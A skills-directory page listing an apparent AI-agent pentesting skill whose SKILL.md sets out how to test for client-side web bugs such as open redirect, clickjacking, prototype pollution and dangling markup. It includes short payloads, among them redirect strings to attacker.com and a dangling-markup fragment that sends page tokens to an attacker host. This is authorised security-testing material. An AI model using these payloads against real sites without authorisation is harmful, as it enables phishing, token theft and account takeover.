Skip to content
Back to skills

Web Client Side

ASecurity

Client-side and misc web vulnerabilities — open redirect, clickjacking/UI redressing, postMessage/web-messaging abuse, client-side prototype pollution, DOM clobbering, tabnabbing, CSS injection, dangling markup, WebSocket security basics, and security-header gaps. Use for front-end-centric issues and as a sweep for the "smaller" web bugs that still chain to impact.

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securityrustapisecurity

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill web-client-side --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Client Side?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web Client Side
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-web-client-side/badge)](https://www.skillsdirectory.com/skills/anandjogawade-web-client-side)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-client-side
description: Client-side and misc web vulnerabilities — open redirect, clickjacking/UI redressing, postMessage/web-messaging abuse, client-side prototype pollution, DOM clobbering, tabnabbing, CSS injection, dangling markup, WebSocket security basics, and security-header gaps. Use for front-end-centric issues and as a sweep for the "smaller" web bugs that still chain to impact.
---

# Client-Side & Misc Web Vulnerabilities

The front-end has its own attack surface. Individually these range from low to high severity, but many *chain* into XSS or account takeover. Sweep them on every web target.

## Trigger phrases

`open redirect, clickjacking, postmessage, prototype pollution, dom clobbering, tabnabbing, css injection, dangling markup, websocket, security headers, ui redressing`

## Open Redirect
Params like `redirect`, `url`, `next`, `return`, `dest`, `continue`, `callback`.
- Payloads: `//attacker.com`, `https://attacker.com`, `/\attacker.com`, `https:attacker.com`, `//attacker%E3%80%82com`, `https://trusted.com@attacker.com`, `https://trusted.com.attacker.com`, whitelist bypass with `\`, `#`, `?`, path tricks, double-encoding.
- Impact: phishing, and **chaining** — OAuth `code`/token theft (→ `web-jwt-oauth`), SSRF filter bypass (→ `web-ssrf`), CSP bypass. Report with a chain where possible, not just the redirect.

## Clickjacking / UI redressing
- Check `X-Frame-Options` and CSP `frame-ancestors`. If missing on a sensitive, state-changing page, build a framed PoC overlaying a decoy over the real button.
- Escalate: combine with drag-and-drop or input-field overlay to capture data or trigger actions (e.g., change email, confirm payment). Provide a working frame PoC.

## postMessage / web messaging
- Find `window.addEventListener('message', ...)` handlers in JS. Check whether they validate `event.origin`.
- Missing/weak origin check + a dangerous sink (writes to DOM, `eval`, navigation, stores token) ⇒ XSS or data theft from any origin. Send crafted messages from an attacker page and confirm.

## Client-side prototype pollution
- Sources: URL query/hash parsed into objects, `JSON.parse` merges, libraries with recursive merge/clone.
- Probe: `?__proto__[test]=polluted` / `?constructor[prototype][test]=polluted`, then check `Object.prototype.test` in the console.
- Escalate: find a **gadget** (a property the app reads that reaches a sink — `innerHTML`, script `src`, config flags) to turn pollution into DOM XSS or logic bypass. Known gadgets in jQuery, Lodash, etc. (→ `vulnerable-components` for versions).

## DOM clobbering
- When HTML injection is possible but script is blocked (sanitized HTML), inject `id`/`name` elements that clobber JS variables (`<a id=x>`, `<form name=x>`) to override app globals and reach a sink or bypass a check. Pairs with sanitizer-allowed-tags analysis.

## Reverse tabnabbing
- `target="_blank"` links without `rel="noopener noreferrer"` let the opened page rewrite `window.opener.location` → phishing. Low severity; report as hygiene.

## CSS injection
- Attacker-controlled CSS can exfiltrate data (attribute selectors + `url()` to leak CSRF tokens/input char-by-char), and enable UI redressing. Test where user input lands in `<style>` or style attributes.

## Dangling markup injection
- When full XSS is blocked (CSP), inject unterminated markup (`<img src='//attacker/?`) to capture subsequent page content (including tokens) up to the next quote — a data-exfil fallback.

## WebSocket security (quick pass; deep dive in api-security)
- Check origin validation on the WS handshake (CSWSH — cross-site WebSocket hijacking), authentication on the socket, and message authorization/injection. CSWSH = CSRF for WebSockets → data theft.

## Security headers (hygiene sweep)
Report missing/weak: `Content-Security-Policy` (and analyze it — see `web-xss` §CSP), `Strict-Transport-Security`, `X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`, `Referrer-Policy`, `Permissions-Policy`, cookie flags. These are usually low severity alone but inform exploitability of other findings.

## Depth & chaining
- Treat these as force-multipliers: open redirect → OAuth ATO; postMessage/PP/DOM-clobbering → XSS; CORS/clickjacking/CSWSH → data or action on behalf of the victim.
- Always ask "what does this chain into?" before scoring severity.

## Evidence
Working browser PoC for each, the vulnerable sink/handler/header, and the demonstrated impact or chain.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.